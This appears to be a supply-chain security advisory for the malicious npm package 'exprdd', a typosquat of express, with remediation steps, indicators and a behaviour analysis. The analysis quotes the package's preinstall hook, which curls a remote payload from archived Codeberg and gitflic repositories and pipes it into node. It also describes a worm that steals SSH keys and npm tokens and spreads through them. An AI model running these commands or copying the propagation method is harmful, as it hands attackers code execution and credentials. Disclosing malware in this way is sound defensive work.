Which versions of exprdd are malicious?

The following npm versions of exprdd are flagged malicious: 5.2.1, 5.2.2. Treat any of these as compromised.

How do I remediate exprdd if I installed it?

exprdd is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed exprdd — how do I know if it already compromised me?

If exprdd was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is exprdd part of a known attack campaign?

Yes — exprdd is associated with the IN-MAL-2026-020625, IN-MAL-2026-020875 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find exprdd across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for exprdd (2 malicious versions).

Malicious package

exprddnpm

Advisory published Sep 29, 2026Updated Oct 5, 2026

exprdd is a confirmed malicious npm package (MAL-2026-17241) that steals credentials and exfiltrates sensitive data (malicious versions 5.2.1, 5.2.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in exprdd (npm)

MAL-2026-17241

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall exprdd

What this malware does

The package exprdd impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

package.json declares a preinstall lifecycle hook curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, which fetches an unpinned JavaScript payload from a third-party host (gitflic.ru, retrieved via web.archive.org) and pipes it directly into node. Running npm install exprdd therefore executes attacker-controlled code with the installer's privileges before any package code is reviewed or imported. The tarball reuses express's name-adjacent identifier, description ("Fast, unopinionated, minimalist web framework"), author, contributors, repository (expressjs/express), homepage, and dependency list, and ships express's index.js stub, disguising the dropper as the legitimate express package and increasing the chance of accidental installation via typo.

Malicious versions

2 flagged

5.2.15.2.2

Indicators of compromise (SHA-256)

4cd27ec488e87cd2e26c940ac161033475731708a3f2ae629c4a138275b520f9

d800570db124bde006fc1d078aefceef4e42acce755653f6d3c8282447a512a4

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for exprdd (2 malicious versions).
If you installed it — respond
exprdd is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If exprdd was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. exprdd on npm has been identified as a malicious package (versions 5.2.1, 5.2.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020625IN-MAL-2026-020875

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder
Pranesh, InvisiRisk · finder
SafeDep · finder

Detect & block this

O3 blocks exprdd-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

Explore

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